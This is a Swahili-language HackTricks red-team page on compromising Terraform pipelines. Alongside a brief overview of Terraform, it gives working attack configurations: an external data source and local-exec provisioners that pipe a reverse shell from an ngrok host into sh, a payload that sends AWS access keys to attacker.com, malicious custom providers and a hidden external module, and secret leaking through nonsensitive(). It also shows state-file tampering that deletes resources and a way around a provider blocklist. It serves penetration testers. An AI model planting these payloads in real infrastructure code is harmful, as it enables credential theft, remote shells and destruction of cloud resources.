Terraform Security

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka:

HashiCorp Terraform ni chombo cha infrastructure as code kinachokuwezesha kufafanua rasilimali za wingu na za ndani katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuzitolea toleo, kutumia tena, na kushiriki. Unaweza kisha kutumia mchakato thabiti kutoa na kusimamia miundombinu yako yote kwa njia yake ya maisha. Terraform inaweza kusimamia vipengele vya kiwango cha chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya kiwango cha juu kama vile kuingia kwenye DNS na huduma za SaaS.

Terraform Inafanyaje Kazi?

Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma zingine kupitia interfaces zao za programu (APIs). Watoa huduma huwezesha Terraform kufanya kazi na karibu kila jukwaa au huduma na API inayopatikana.

HashiCorp na jamii ya Terraform tayari wameandika zaidi ya watoa huduma 1700 kusimamia maelfu ya aina tofauti za rasilimali na huduma, na idadi hii inaendelea kuongezeka. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye Usajili wa Terraform, ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na wengine wengi.

Mchakato msingi wa Terraform unajumuisha hatua tatu:

  • Andika: Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za vitendanishi katika mtandao wa Virtual Private Cloud (VPC) na vikundi vya usalama na balansa ya mzigo.

  • Panga: Terraform inaunda mpango wa utekelezaji unaoelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.

  • Tumia: Kwa idhini, Terraform hutekeleza shughuli zilizopendekezwa kwa mpangilio sahihi, kuheshimu mitegemeo yoyote ya rasilimali. Kwa mfano, ikiwa unasasisha mali ya VPC na kubadilisha idadi ya mashine za vitendanishi katika VPC hiyo, Terraform itaunda upya VPC kabla ya kuzidisha mashine za vitendanishi.

Maabara ya Terraform

Tuweke terraform kwenye kompyuta yako.

Hapa una mwongozo na hapa una njia bora ya kupakua terraform.

RCE katika Terraform

Terraform haina jukwaa linalofunua ukurasa wa wavuti au huduma ya mtandao tunayoweza kuhesabu, kwa hivyo, njia pekee ya kudhoofisha terraform ni kuweza kuongeza/kurekebisha faili za usanidi wa terraform.

Hata hivyo, terraform ni sehemu nyeti sana ya kudhoofishwa kwa sababu itakuwa na upatikanaji wa haki za kipekee kwa maeneo tofauti ili iweze kufanya kazi vizuri.

Njia kuu kwa mshambuliaji kuweza kudhoofisha mfumo ambapo terraform inaendeshwa ni kudhoofisha hazina inayohifadhi mizizi ya usanidi wa terraform, kwa sababu kwa wakati fulani itaanza kutafsiriwa.

Kwa kweli, kuna suluhisho huko nje ambazo hutekeleza moja kwa moja mpango/utekelezaji wa terraform baada ya PR kuundwa, kama vile Atlantis:

pageAtlantis Security

Ikiwa unaweza kudhoofisha faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza terraform plan au terraform apply.

Terraform plan

Terraform plan ni amri inayotumiwa zaidi katika terraform na waendelezaji/suluhisho wanaotumia terraform wanaita mara kwa mara, kwa hivyo njia rahisi ya kupata RCE ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri za kiholela katika terraform plan.

Kutumia mtoa huduma wa nje

Terraform inatoa mtoa huduma wa nje ambao hutoa njia ya kuingiliana kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data cha external kutekeleza nambari ya kiholela wakati wa plan.

Kuweka kitu kama hicho katika faili ya usanidi wa terraform kutatekeleza rev shell wakati wa kutekeleza terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Kutumia mtoa huduma ya desturi

Mshambuliaji anaweza kutuma mtoa huduma ya desturi kwenye Usajili wa Terraform na kisha kuongeza kwenye nambari ya Terraform kwenye tawi la kipengele (mfano kutoka hapa):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provider inapakuliwa katika init na itaendesha nambari ya malicious wakati plan inatekelezwa

Unaweza kupata mfano katika https://github.com/rung/terraform-provider-cmdexec

Kutumia marejeleo ya nje

Chaguo zote zilizotajwa ni muhimu lakini sio sana siri (ya pili ni siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulizi hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza kupakia rasilimali ya nje inayohifadhi rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa rev shell wa terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Kutumia Terraform

Terraform apply itatekelezwa ili kutumia mabadiliko yote, unaweza pia kuitumia vibaya ili kupata RCE kwa kuingiza faili ya Terraform yenye nia mbaya na local-exec. Unahitaji tu kuhakikisha kuwa baadhi ya mzigo kama yafuatayo yanamalizika katika faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu iliyopita kutekeleza shambulizi hili kwa njia ya kisiri zaidi kwa kutumia marejeo ya nje.

Kupitisha Siri

Unaweza kuwa na thamani za siri zinazotumiwa na terraform zilizomwagika kwa kukimbia terraform apply kwa kuongeza kitu kama hiki kwenye faili ya terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Kutumia Vibaya Faili za Hali ya Terraform

Ikiwa una ufikiaji wa kuandika juu ya faili za hali ya terraform lakini huwezi kubadilisha nambari ya terraform, utafiti huu hutoa chaguo zingine za kuvuna faida ya faili:

Kufuta rasilimali

Kuna njia 2 za kuharibu rasilimali:

  1. Ingiza rasilimali yenye jina la nasibu kwenye faili ya hali ikielekeza kwenye rasilimali halisi ya kuharibu

Kwa sababu terraform itaona kwamba rasilimali haipaswi kuwepo, itaiteketeza (ikifuata kitambulisho cha rasilimali halisi kilichoonyeshwa). Mfano kutoka ukurasa uliopita:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Badilisha rasilimali ya kufuta kwa njia ambayo haiwezekani kusasisha (hivyo itafutwa na kujengwa upya)

Kwa kifaa cha EC2, kubadilisha aina ya kifaa cha kutosha kufanya terraform ifute na kujenga upya.

RCE

Pia niwezekana kuunda mtoa huduma ya desturi na tu badilisha mmoja wa watoa huduma katika faili ya hali ya terraform kwa moja yenye nia mbaya au ongeza rasilimali tupu na mtoa huduma yenye nia mbaya. Mfano kutoka kwa utafiti wa awali:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Badilisha mtoa huduma aliyeorodheshwa kwenye orodha nyeusi

Katika kesi unakutana na hali ambapo hashicorp/external iliorodheshwa kwenye orodha nyeusi, unaweza kutekeleza upya mtoa huduma wa external kwa kufuata hatua zifuatazo. Tafadhali kumbuka: Tunatumia toleo la mtoa huduma wa external lililochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza pia kuchapisha toleo lako binafsi au kutekeleza upya.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Kisha unaweza kutumia external kama kawaida.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Zana za Ukaguzi

  • tfsec: tfsec hutumia uchambuzi wa kistatiki wa nambari yako ya terraform kutambua upangaji wa kimakosa unaoweza kutokea.

  • terascan: Terrascan ni zana ya uchambuzi wa nambari ya kistatiki kwa Miundombinu kama Nambari.

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated